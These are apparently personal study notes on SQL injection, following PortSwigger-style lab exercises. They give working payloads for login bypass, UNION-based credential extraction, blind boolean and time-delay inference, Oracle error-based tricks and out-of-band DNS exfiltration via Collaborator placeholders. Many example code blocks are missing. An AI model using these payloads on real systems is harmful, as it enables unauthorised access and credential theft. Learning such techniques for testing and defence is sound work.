githubEdit

SQL Injection

  • SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database

Impact of successful SQL Injection attack

  • unauthorised access to sensitive data, such as passwords, credit card details, or personal user information

How to Detect

  • Manual Testing against entry point

    • Looking for Errors and anomalies with '

    • Looking for systematic difference in response with SQL-specific syntax

    • Looking for differences in response with OR 1=1 and OR 1=2

    • Difference in time to respond with time delay payloads

    • Out of band network interaction with OAST payload

SQL injection Query

#webhacking #SQL

  • WHERE clause of SELECT query

  • In UPDATE statements, within the updated values or the WHERE clause.

  • In INSERT statements, within the inserted values.

  • In SELECT statements, within the table or column name.

  • In SELECT statements, within the ORDER BY clause.

SQL injection Eg:

  • Retrieving hidden data - returning additional after modifying Query

  • Subverting application logic - interfere with app logic

  • Union Attacks - get database tables

  • Blind SQL injection - no return but can control

1. Retrieving Hidden data

  • Target https://insecure-website.com/products?category=Gifts

  • Injection

  • An attack https://insecure-website.com/products?category=Gifts'--

  • injection

  • -- is a comment indicator: the rest of the query is interpreted as a comment — can display unreleased products.

  • An attack https://insecure-website.com/products?category=Gifts'+OR+1=1--

  • injection

  • Display all items in category since 1=1 is always true. Note: UPDATE or DELETE injection can erase data.


Lab1: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

1

Context / Vulnerability

  • SQL injection on product category filter.

  • Example vulnerable query:

  • Caused an internal error which proves it's vulnerable.

End goal

  • Display all products, both released and unreleased.

2

Analysis & Attempts

  • Using an empty category string returned results:

  • First payload (didn't work as-is):

  • Second payload that worked by matching the application's expected formatting:

    (or URL-encoded equivalent)

3

Payload examples (URL)

  • https://insecure-website.com/filter?category=

Examples:

  • '?category=' + "'--"

  • '?category=' + "' OR 1=1--"

4

Optional script (automation)


2. Subverting application logic

Example login query:

  • Attack:

  • This removes the password check using SQL comment -- and allows login as any user.


Lab2 : SQL injection vulnerability allowing login bypass

1

Context / Vulnerability

  • SQL injection against login form.

  • Vulnerable query example:

End goal

  • Login as an administrator.

2

Analysis / Method

  • Login as a normal user, intercept the authentication request (e.g., with Burp).

  • Replace the username value with the payload administrator'-- and forward the request.

3

Payload

  • administrator'--

4

Optional script (automation)

Run as:


3. Retrieving data from other database tables (UNION attacks)

  • Example original query:

  • Attack example:

  • UNION appends results from another SELECT. Requirements:

    • Same number of columns in each SELECT.

    • Compatible data types per column.

Determining number of columns:

  • Use ORDER BY incrementally until an error:

  • Or use UNION SELECT NULL progressively:


Lab: SQL injection UNION attack — determine number of columns

1

Context

  • SQL injection on product category filter.

  • Use ORDER BY and UNION SELECT NULL,... to find number of columns.

2

Example observations

  • ' ORDER BY 4-- caused an internal error.

  • ' UNION SELECT NULL,NULL,NULL-- returned 200.

  • Indicates the original query may have 4 columns.

3

End goal

  • Return an additional row containing provided values.

4

Example payloads

And then test ' UNION SELECT NULL,'çyber',NULL-- to find which column accepts strings.


Lab: Finding columns with a useful data type for UNION

1

Context

  • Using UNION SELECT NULL,... and replacing NULL with strings to find which column outputs text.

2

Method

  • Try:

  • When injection returns the string in the response, that column is compatible with strings.

3

Example working payload


Lab: Using UNION to retrieve usernames and passwords

1

Context

  • Need to find a table users with columns username and password.

  • First determine number of columns and which support strings.

2

Example observations

  • ' ORDER BY 3-- indicated two columns.

  • ' UNION SELECT 'ham',NULL-- and ' UNION SELECT NULL,'ham'-- returned 200 — both columns accept strings.

  • Retrieve credentials:

  • Example retrieved admin password: administrator: 6fcym2ar70ag8nnqx0mi

3

End goal

  • Retrieve all usernames and passwords and log in as administrator.


Examining the database in SQL injection

  • Determine database type & version.

  • Find tables and columns.

Common version queries:

  • Microsoft, MySQL: SELECT @@version

  • Oracle: SELECT * FROM v$version

  • PostgreSQL: SELECT version()

Example payload:

Labs: Querying database version (Oracle, MySQL/Microsoft)

  • Oracle example payload to get version:

  • MySQL/Microsoft example payload:


Lab: Retrieving multiple values within a single column

  • Combine username and password into one column (concatenation differs per DB).

  • Example (PostgreSQL concatenation shown):


Listing the contents of the database

  • Common (non-Oracle) tables:

  • Oracle equivalents:

Lab: Listing database contents (non-Oracle and Oracle examples)

1

Non-Oracle (example process)

  • Determine vulnerability and column count.

  • Retrieve tables:

  • Once a table with user credentials (e.g., users_spmoml) is found:

  • Example admin credentials found: administrator : 6pps6k9stu5zfytpa9hf

2

Oracle (example process)

  • Retrieve tables:

  • Retrieve columns:

  • Retrieve usernames/passwords:

  • Example admin credentials found: administrator : 6kvn3tzjc6ri9bql5yqb


4. Blind SQL injection Vulnerabilities

  • No results returned or errors in the response.

  • Can change query logic without visible output.

  • Techniques:

    • Conditional responses (true/false)

    • Time delays

    • Conditional errors

    • Out-of-band (OAST) interactions (e.g., DNS lookups with Burp Collaborator)

Exploiting Blind SQL injection by triggering conditional responses

Example:

  • App uses a tracking cookie:

  • If application shows a "Welcome back" message when the query returns a row, you can infer boolean conditions:

  • Repeat character-by-character to extract the password (SUBSTRING / SUBSTR differences across DBs).

Lab: Blind SQL injection with conditional responses

1

Context

  • Blind SQL injection via tracking cookie. Response includes "Welcome back" if query returns rows.

  • Target table: users (columns username, password).

2

Method (overview)

  • Intercept request and modify cookie:

    • TrackingId=xyz' AND '1'='1 → returns 200 and confirms true condition.

    • TrackingId=xyz' AND '1'='2 → false.

  • Confirm table existence:

    • TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

  • Determine password length and each character using:

    • TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§

  • Use Burp Intruder (simple list) to iterate values a-z,0-9 and grep for the "Welcome back" response.

3

Example payloads


Error-based SQL injection

  • Use database error messages to extract data.

  • Induce errors or conditional errors that reveal data (turn blind into visible).

Exploiting blind SQL injection by triggering conditional errors (Oracle example)

  • Oracle-specific technique: cause an error via division-by-zero or TO_CHAR(1/0) in a CASE WHEN to detect true conditions via 500 error.

  • Example (inject into cookie):

    • Returns 500 when condition is true.

  • Use to enumerate password length and characters via SUBSTR.

Example payloads (Oracle / error-based)

(Use Burp Repeater to test lengths, and Intruder to brute-force characters.)


Lab: Blind SQL injection with conditional errors (step summary)

1

Context

  • Blind SQL injection; application returns custom error when SQL causes a DB-level error.

  • Database: Oracle.

2

Method summary

  • Intercept request with TrackingId cookie.

  • Confirm error with TrackingId=xyz' and see error disappear with TrackingId=xyz''.

  • Confirm server interprets injection as SQL:

  • Trigger intentional error to test boolean conditions.

  • Use CASE WHEN ... TO_CHAR(1/0) to force an error when condition is true.

  • Determine length and characters of admin password using LENGTH() and SUBSTR().

3

Example payloads

(see the payload block above for Oracle conditional error payloads)


Exploiting blind SQL injection by triggering time delays

  • If DB errors are handled gracefully, use time delays to infer conditions.

  • Example (PostgreSQL):

  • For conditional sleeps:

  • Use Intruder (single-threaded / measure response time) or custom scripts to detect delays.

Lab: Time delay attacks & extracting info via time-based techniques

1

Context

  • Blind SQL injection where the app response does not visibly change.

  • Time delays are used to infer truth of conditions.

2

Method summary

  • Trigger unconditional delay:

  • Conditional delay to check for username:

  • Determine password length and characters:

  • Use Burp Intruder (Cluster bomb) with resource pool limiting concurrency to 1 and monitor response time.

3

Example payloads


Exploiting blind SQL injection using out-of-band (OAST) techniques

  • Use DNS/HTTP interactions to an external server you control (e.g., Burp Collaborator).

  • Technique varies by DB. Example for MS SQL Server:

  • Use Collaborator to generate a unique subdomain and poll for interactions.

Lab: OOB interaction (DNS) & data exfiltration (Oracle example)

1

Context

  • Application runs SQL asynchronously; response doesn't change. Use OAST to trigger network interactions.

2

Technique (Oracle example)

  • Use XML external entity or EXTRACTVALUE technique to cause DB to fetch a URL/DNS name that includes exfiltrated data.

  • Example (generic Oracle XML technique — use Burp Collaborator to insert subdomain):

  • For data exfiltration replace part of the domain with the result of a query, e.g.:

  • Insert Collaborator payload via Burp (Insert Collaborator payload) and poll Collaborator to see interactions that include the data.


Second-order SQL injection

  • First-order: input immediately used in SQL.

  • Second-order: input is stored and later used unsafely.

  • Example injection stored and later executed:

  • Example combined:


SQL injection in different contexts

  • Databases can be queried via JSON or XML inputs; encoding can be used to bypass WAFs.

  • XML injection example:

Lab: SQL injection with filter bypass via XML encoding

1

Context

  • Stock check endpoint accepts XML. WAF blocks obvious SQLi.

  • Use Hackvertor (or similar) to encode payload (dec_entities/hex_entities) to bypass WAF.

2

Method

  • Probe the endpoint to see if storeId is evaluated.

  • Determine number of columns and which to target.

  • Obfuscate payload using XML entities.

  • If application returns only one column, concatenate username and password into one column (DB-specific concatenation).

3

Example payload (XML with encoded UNION)

  • Use Hackvertor to encode the inner payload to bypass WAF.


Prevent SQL injection

  1. Use parameterised queries (prepared statements) instead of string concatenation.

  • Vulnerable code (example):

  • Secure correction:


SQL injection cheat sheet

Useful syntax and platform differences.

String concatenation (examples)

  • Oracle: 'foo'||'bar'

  • Microsoft: 'foo'+'bar'

  • PostgreSQL: 'foo'||'bar'

  • MySQL: 'foo' 'bar' (space) or CONCAT('foo','bar')

Substring

  • Oracle: SUBSTR('foobar', 4, 2)

  • Microsoft/PostgreSQL/MySQL: SUBSTRING('foobar', 4, 2)

Comments

  • Oracle: --comment

  • Microsoft/PostgreSQL: --comment or /*comment*/

  • MySQL: #comment or -- comment (note space) or /*comment*/

Database Version

  • Oracle: SELECT banner FROM v$version or SELECT version FROM v$instance

  • Microsoft/MySQL: SELECT @@version

  • PostgreSQL: SELECT version()

Database Contents

  • Oracle: SELECT * FROM all_tables

    • SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

  • Microsoft/PostgreSQL/MySQL: SELECT * FROM information_schema.tables

    • SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Conditional errors

  • Oracle:

  • Microsoft:

  • PostgreSQL:

  • MySQL:

Extracting data via visible error messages

  • Microsoft:

    (Conversion failed when converting the varchar value 'secret' to data type int.)

  • PostgreSQL:

    (invalid input syntax for integer: "secret")

  • MySQL:

    (XPATH syntax error)

Batched (stacked) queries

  • Oracle: does not support stacked queries.

  • Microsoft/PostgreSQL/MySQL: QUERY-1; QUERY-2;

Time delays (unconditional)

  • Oracle: dbms_pipe.receive_message(('a'),10)

  • Microsoft: WAITFOR DELAY '0:0:10'

  • PostgreSQL: SELECT pg_sleep(10)

  • MySQL: SELECT SLEEP(10)

Conditional time delays

  • Oracle:

  • Microsoft:

  • PostgreSQL:

  • MySQL:

DNS lookup (triggering OOB interactions)

  • Oracle (XML / EXTRACTVALUE technique — patched in many installs but still found):

    (Another option if privileged: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN'))

  • Microsoft:

  • PostgreSQL:

  • MySQL (Windows only techniques):

DNS lookup with data exfiltration (patterns)

  • Oracle:

  • Microsoft:

  • PostgreSQL:

  • MySQL (Windows only):

Last updated